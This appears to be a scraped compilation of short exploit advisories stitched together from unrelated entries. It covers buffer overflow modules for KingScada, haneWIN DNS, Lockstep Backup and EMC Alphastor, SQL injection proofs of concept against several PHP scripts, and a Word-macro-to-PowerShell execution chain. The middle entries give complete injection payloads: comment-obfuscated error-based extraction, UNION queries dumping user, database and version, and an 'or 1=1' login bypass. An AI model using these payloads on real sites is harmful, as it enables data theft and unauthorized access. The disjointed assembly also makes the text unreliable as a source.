This module exploits a stack based buffer overflow found in KingScada < 3.1.2.13. The vulnerability is triggered when sending a specially crafted packet to the 'AlarmServer' (AEserver.exe) service listening on port 12401. During the parsing of the packet the 3rd dword is used as a size value for a memcpy operation which leads to an overflown stack buffer.
This module exploits a buffer overflow vulnerability found in haneWIN DNS Server <= 1.5.3. The vulnerability is triggered by sending an overly long packet to the victim server. A memcpy function blindly copies user supplied data to a fixed size buffer leading to remote code execution.
This module exploits a stack buffer overflow found in Lockstep Backup for Workgroups <= 4.0.3. The vulnerability is triggered when sending a specially crafted packet that will cause a login failure.
This module exploits a stack based buffer overflow vulnerability found in EMC Alphastor Device Manager. The overflow is triggered when sending a specially crafted packet to the rrobotd.exe service listening on port 3000. During the copying of strings to the stack an unbounded sprintf() function overwrites the return pointer leading to remote code execution.
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/restaurants-details.php?fid=[SQL] 46'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
The vulnerability allows an attacker to inject sql commands into the Theater Management Script. Proof of Concept examples are provided in the text.
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/gpt.php?v=entry&type=[SQL]&id=1& +'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='&id=1& Etc..
The vulnerability allows an advertiser to inject sql commands. An example of the exploit is http://localhost/[PATH]/manage-target.php?id=[SQL]&wap=0 13-13'+/*!00008union*/+/*!00008select*/++/*!00008CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION())--+-&wap=0
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/login User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''=' http://localhost/[PATH]/products?id=[SQL]&action=update -1++/*!00002UNION*/(/*!00002SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,/*!00002CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()))--+-&action=update http://localhost/[PATH]/bank?id=[SQL]&action=update Etc..
The exploit involves a Word macro running in the Doc1.doc file which downloads a badly formatted txt file over wsdl, which triggers the WSDL parser log. Then the parsing log results in running mshta.exe which in turn runs a powershell commands that runs mspaint.exe
Services By CQR